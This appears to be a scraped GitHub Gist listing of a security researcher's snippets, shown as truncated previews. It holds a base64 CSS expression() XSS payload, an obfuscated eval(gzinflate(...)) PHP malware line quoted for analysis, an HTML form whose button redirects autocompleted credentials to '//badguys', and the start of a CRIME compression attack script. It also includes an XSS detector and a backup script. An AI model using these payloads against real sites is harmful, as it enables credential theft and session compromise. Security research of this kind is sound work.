Skip to content

Instantly share code, notes, and snippets.

Misia jest cudowna :*
import java.io.UnsupportedEncodingException;
import java.security.GeneralSecurityException;
import javax.crypto.Cipher;
import javax.crypto.spec.DESedeKeySpec;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
/**
* Helper class for encrypting and decrypting payloads using arbitrary string passphrases.
import java.io.UnsupportedEncodingException;
import java.security.GeneralSecurityException;
import javax.crypto.Cipher;
import javax.crypto.spec.DESedeKeySpec;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
/**
* Helper class for encrypting and decrypting payloads using arbitrary string passphrases.
<?php
// prepare options
$a = array(
'top 1' => array(
'sub 1' => 100,
'sub 2' => array('sub sub 1' => 101, 'sub sub 2' => 102),
),
'top 2' => 103
);
}@import/**/data:text/css%3Bbase64%2CKnt4OmV4cHJlc3Npb24od2luZG93Lng%2FMDphbGVydCgxKSx3aW5kb3cueD0xKX0%3D;
@koto
koto / 1.php
Created September 19, 2011 22:34
Fighting inception obfuscation
<?php
// I got this file once
eval(gzinflate(str_rot13(base64_decode('HJ3FkqzYAlI/52gEA9yGuHjikw7cNfGvf0w...60KB.of.code...z///Oe/7/W/fwE=')))); ?>
<form action="//same-origin">
<input name=login>
<input name=password type=password>
.<!-- this will probably be autocompleted -->
<button type=submit form-action="//badguys">clickme</button>
</form>
@koto
koto / rsync_backup
Created January 16, 2012 20:35
OSX Snow Leopard bootable backup script with FileVault support (backup will be unencrypted!)
#!/bin/sh
PROG=$0
# use macports rsync 3.x - Apple's 2.6 hung on sockets
RSYNC="/opt/local/bin/rsync"
SRC="/"
DST="/Volumes/Backup/"
FILEVAULT_ACCT="Users/yourusername"
# rsync options
@koto
koto / crime.py
Created September 11, 2012 08:32
It's not a crime to build a CRIME
# This is supposedly what CRIME by Juliano Rizzo and Thai Duong will do
# Algorithm by Thomas Pornin, coding by xorninja, improved by @kkotowicz
# http://security.blogoverflow.com/2012/09/how-can-you-protect-yourself-from-crime-beasts-successor/
import string
import zlib
import sys
import random
charset = string.letters + string.digits + "%/+="
@koto
koto / xssdetect.js
Created December 1, 2012 22:05
reflected xss detection using xssauditor on phantomjs
var page = require('webpage').create(),
system = require('system'),
address;
page.onInitialized = function () {
page.evaluate(function () {
// additional detection code here perhaps
// f.e. detecting STORED/DOM XSS
});